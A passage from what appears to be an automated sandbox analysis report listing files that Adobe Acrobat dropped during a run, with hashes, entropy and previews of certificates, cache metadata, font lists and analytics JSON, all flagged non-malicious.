SSDEEP:	24:7+teMEWewKeqLazkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9C:7MPUeqemFTIF3XmHjBoGGR+jMz+Lh4
MD5:	CB24F3A2CABC81DC1E5BE6FF20F2B788
SHA1:	CF571EE95E422F0A991D6D9D23596767EB7521C7
SHA-256:	DFE2868BF5D323861F1F4064CD4825B758FDF69D208ABBCF40EDB816A6E3DFA0
SHA-512:	66C1495D6277EC595887F21F32C220384BBFB2B8E8FDDEE369AFF114971A76DF4590817163A243B0F5F204CE4ACA440CE464A72A68D35D0E6F84F0C36D42622E
Malicious:	false
Preview:	.... .c......7..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	modified
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7170500916396234
Encrypted:	false
SSDEEP:	3:kkFklRaGbNttfllXlE/HT8kAz/tNNX8RolJuRdxLlGB9lQRYwpDdt:kK8DeT8Rz/TNMa8RdWBwRd
MD5:	DB6A894ED199AF4B27BD9961A1073772
SHA1:	FC63D8AE50746C2B0F50AC00C54DC26631E2DA55
SHA-256:	A6B30D370C4D30C299E79B6643F70C9B1634EE126F90AB0D5475C656037F9E1D
SHA-512:	72FFC0B61A8F256021248A2F65E6ED39E7657562E788CF96E0917FD407D8B9BFC8C95E75379D6D69488603D9D64582C8F1749A66BF2BA8D6C463022E790BEB4F
Malicious:	false
Preview:	p...... ........bqsp.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1246825501817472
Encrypted:	false
SSDEEP:	6:kKqL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:CiDnLNkPlE99SNxAhUe/3
MD5:	5E797AC5129A5BDB63AC94CE252CEFDA
SHA1:	EA0B01F7D9ED67CC5AFAE5747975111DF63C6718
SHA-256:	4A12037CE91B3771912DDF4AC1E3387F38F3796F5709D2A1362953277A4C45A4
SHA-512:	D4384719AB82A29B425C7B8F05CFDF4B4562280397E0D5F7AA2C30420D13D7F041D2745B5DE1A69DB57B640ECB49D00FF3626E43915F27F782B1D501FD093CA2
Malicious:	false
Preview:	p...... ......... .c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7964

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7964

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.371534410886199
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJM3g98kUwPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGMbLUkee9
MD5:	D1D90653B478C6E4350672BC684DE5FE
SHA1:	FF1B9E704C462B2F0D832B28784BC06DFCB9A206
SHA-256:	6A5A4FD5FC73C47DD4F0C4BE3BF3A01B1339BC850D84737042647590B24BBF71
SHA-512:	8272A54B13CDC38D8ADD6E4EB1C6A7BE7BCE186612E809B0D49BC177F93E10EE310A4CA772144F5CAE0E580443633DDD66F2D9511BA8B1368E3A8D6A9DFAC33E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306333562418103
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJfBoTfXpnrPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGWTfXcUke6
MD5:	BB1337F3819C9814E1B3F481DC42EFC3
SHA1:	48E5B4CC6AFB659574329FA53E1A9E3E465738A4
SHA-256:	AB2ECE69B128512BC203F168641BD7ADCD83D9B726F63482CC572D221FA5A108
SHA-512:	011357CBC0BE4D0ACF13DCA01EC524782C733C790C3451AB62B4DE7D803174339CAE2A647CA50660B16C4313206255E54B3454920C571361341E48B8933A22D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285039776644981
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJfBD2G6UpnrPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGR22cUkee9
MD5:	6EEFE0A6F291BCC2F3509689864C3C4D
SHA1:	66A1D40E1B40B6867B7500D565A74CACE52A75A1
SHA-256:	4A5E1905BC7A6F683E17AF23A39D77EB2F2E3CF4D420AE2DA14FB62F6648C229
SHA-512:	47A8E064CA0D9532EC620C15F75EF483616BD171BC7CDD67320C6C0AE5E5607D252FE205587F566F2B7FCB87A51088D65A6FFFD0794F16F88538D5369177FEA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.348769660047951
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJfPmwrPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGH56Ukee9
MD5:	9B6131E2EF35F986D1C895FE53171CED
SHA1:	05F9B12CE230E4DCCD1C74C06A8BBFEC9040F2C9
SHA-256:	90E27066CB249CF00BAA46800918D7A59EDFA2F1BF518B7DCF084CF2191059BB
SHA-512:	0980E28AF4401293CE5F00C1FEFA9B51368EC16C1D0FEC837A60FEECB8557BDE033711009A8DADE03C3E777082155EC9B12B2D7685081289EC86009565A80384
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694324711173974
Encrypted:	false
SSDEEP:	24:Yv6Xe9/2JhrUspLgE9cQx8LennAvzBvkn0RCmK8czOCCSGX:Yvx9+Jhxhgy6SAFv5Ah8cv/GX
MD5:	BBE6CD6BB650C5C7870F80DB1C54F5A6
SHA1:	86789AF186270998E9FB8F315944276B37544079
SHA-256:	97F73A0F0F5376D778EDB0C11043016AADE44A27C9F15907E626C6F030814267
SHA-512:	8D129D5FE0F8563267FE1ED1BEC7329879D081ECA4BD25FD3489F568FA668FFB2286BEF5B6F5C470E4EF2A4D1688E15BA072E7415CD4860423797532DA9CB562
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298137446898215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJf8dPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGU8Ukee9
MD5:	487EC22C7EE1FBF46CDE2EE63685E91B
SHA1:	38159B554DA35E3FECB3C5841A006A0A1203D258
SHA-256:	A3FB074FFB198BAE86965A1951B02C365A0AAA751C62847F22BA6C75A69FDFDE
SHA-512:	A223BEA37AE43CF5171E5A82422E9FCAE101387E9C44F09B4B15F039DE49E6016E3503CB19E6369C56BF4EB308F52F5BBCC1F33D618A44B613C6C3B6DD847A39
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.296526552977808
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJfQ1rPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGY16Ukee9
MD5:	0E68A1834BA8125B7662DF330BF50155
SHA1:	A8A51CB09FAA9DB60A9372E14043B3D8DE5E960F
SHA-256:	B8F093DCA34189770C6BB325C8490475979054AE8AC7AACA0F65FA1903645B4C
SHA-512:	961541B754D98DE9B854C4C8296979DD0E5FF2D108897263C94C9EB94CB6376D166E120F83C43B4BF9F9A87C79769A7A6AADF3B7B467A888CD7ED540E97CD00E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3121049855006195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXe9zIIJ1b2vB3/dVlPIHAR0YqQUUoAvJfFldPeUkwRe9:YvXKXe9zfb2vR/ZwHAuQUnGz8Ukee9
MD5:	5441A332BD6AB1036CA06E526773561A
SHA1:	76490DD8F2BD1D62F0FC63BF5B950B5832F507C8
SHA-256:	D91C51C23D8D6045F94E20BC3D85E9EB06B8237094E4915A92585E072513F4A8
SHA-512:	A876DC792AD4A0906C00A1F1FCC41534CAC10D238BBA02F7D7778FE3B61E5DC780E1A86B6E2BFE1F3F1141BD0EF13F2F6CE28D7AF6BC1463C639996DA4A3D994
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1a9c7db5-0211-43d3-8809-fff95be438ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708518619,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
